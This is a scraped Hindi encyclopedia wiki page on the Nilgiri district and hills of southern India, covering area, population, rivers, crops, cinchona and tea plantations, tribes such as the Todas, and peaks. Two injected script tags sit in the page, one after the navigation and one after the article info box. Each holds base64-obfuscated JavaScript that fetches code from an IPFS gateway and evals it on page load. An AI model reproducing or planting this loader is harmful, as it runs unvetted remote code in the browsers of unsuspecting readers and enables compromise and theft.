नीलगिरि

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०९:४२, २९ सितम्बर २०१५ का अवतरण ('{{लेख सूचना |पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1 |पृष्ठ स...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
नीलगिरि
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 395
भाषा हिन्दी देवनागरी
लेखक कृष्णमोहन गुप्त
संपादक फूलदेवसहाय वर्मा
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1966 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नीलगिरि

  • जिला, भारत के मद्रास राज्य के पश्चिम भाग में है। इसका क्षेत्रफल 984 वर्ग मील तथा जनसंख्या 4,09,308 (1961) थी। इसका मुख्यालय ओत्तकमंदु है। इस जिले से पूर्व में मुख्यत: नीलगिरि के पर्वतीय क्षेत्र हैं। इसमें अनेक पहाड़ी नदियाँ हैं।

ये पहाड़ी नदियाँ मोयार तथा भवानी नदियों में गिरती हैं। यह जिला शीतोष्ण कंटिबंधीय तथा तरकारियों के उद्यानों एवं प्रायोगिक कृषि क्षेत्रों से सुशोभि है। मक्का, बाजरा[१], गेहूं तथा जौ की खेती होती है। यहाँ पर सिंकोना [२] वृक्ष के बागान हैं। सिंकोना से कुनैन निकालने का कारखाना नाडुबट्टम में है। यह जिला यूकालिप्टस, चाय तथा काफी के बागानों से परिपूर्ण है। पायकारा जलविद्युत केंद्र प्रणाली का हेडवर्क [३] यहीं पर है। प्रसिद्ध नगरों में ओत्तकमंदु, कूनूर तथा कोटागिरि हैं। यहाँ की जनसंख्या का 30% पहाड़ी जातियों का है, जिनमें कोटा [४] तथा टोडा [५]प्रमुख हैं। इसी नाम की देशी रियासत उड़ीसा में थी, जिसकी राजधानी का नाम राज नीलगिरि था।

  • पहाड़ियाँ, नीलगिरि पहाड़ियों के नाम से विख्यात तीव्र ढाल वाला पठार है, जो पूर्वी और पश्चिमी घाट पहाड़ों के मिलन विंदु के समीप दक्षिण के पठार से संयुक्त हो जाता है। यह पठार नीलगिरि जिले का मुख्य भाग है। इसकी औसत ऊँचाई 6,500 फुट है। यहाँ की सबसे ऊँची चोटी दोदा-बेटा (8,640 फुट) है। मोयार नदी का उद्गम मुकुर्चि शिखर पर है। यहाँ पर यूकालिप्टस, चाय तथा काफी के बागान अत्यधिक हैं। सागौन [६], कृष्णकाष्ठ[७] और बाँस के जंगल भी यहाँ हैं। यहाँ इमारती पत्थरों की भी खदानें हैं तथा लिगनाइट खनिज भी मिलता है। यहाँ की पहाड़ी नदियों से सोना मिलता है। पालघाट दर्रा इसे अन्नाईमलाई पहाड़ियों से पृथक करता है। इसके जंगलों में भालू, चीतल, मृग, हरिण तथा जंगली बकरे (Ibex) का शिकार किया जाता है।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. millet
  2. cinchona
  3. headwork
  4. Kotas
  5. Todas
  6. Teak
  7. Black wood